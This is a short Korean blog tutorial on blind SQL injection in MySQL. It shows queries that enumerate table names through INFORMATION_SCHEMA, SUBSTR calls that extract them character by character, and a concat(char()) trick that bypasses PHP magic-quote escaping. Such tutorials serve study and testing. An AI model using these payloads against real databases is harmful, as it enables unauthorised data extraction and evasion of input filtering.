-
Blind SQL InjectionHack/Web 2015. 3. 2. 20:16
INFORMATION_SCHEMA
MYSQL의 메타 테이블로, DB에 존재하는 객체에 대해 담고있는 DB이다.
SCHEMATA
TABLESCOLUMNS
CHARACTER_SETS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
ROUTINES
STATISTICS
VIEWS
USER_PRIVILEGES
SCHEMA_PRIVILEGES
TABLE_PRIVILEGES
COLUMN_PRIVILEGES
TABLE_CONSTRAINTS
KEY_COLUMN_USAGE
TRIGGERSDB에 존재하는 테이블에 어떠한것이있는지 알려면 TABLES를 이용하면된다.
INFORMATION_SCHEMA.TABLES를 입력하면된다.
블라인드 인젝션 기법은 한자씩 끊어서 가져와야하기때문에 Limit연산자를 이용한다.
select table_name from information_schema.tables where table_type='base table' limit 0,1
해당 쿼리를 날려주면 첫번째 테이블을 가져온다.
Substr((select table_name from information_schema.tables where table_type='base table' limit 0,1),1,1)
해당 쿼리를 날려주면 첫번쨰테이블에서의 첫글자만 따온다.
1,1을 2,1 혹은 3,1 형식으로 바꿔주면 각각 2번쨰글자, 3번째 글자를 따올수있다.
[우회]
php는 매직쿼터 옵션이존재하기때문에 concat연산자를 사용할수있다.
table_type=concat(char(98),char(99))
이렇게해주면 싱글쿼터를 사용하지않고 가능하다.
'Hack > Web ' 카테고리의 다른 글
SQL Injection 기초 (0) 2015.02.25 dun_worry_vase (0) 2015.02.23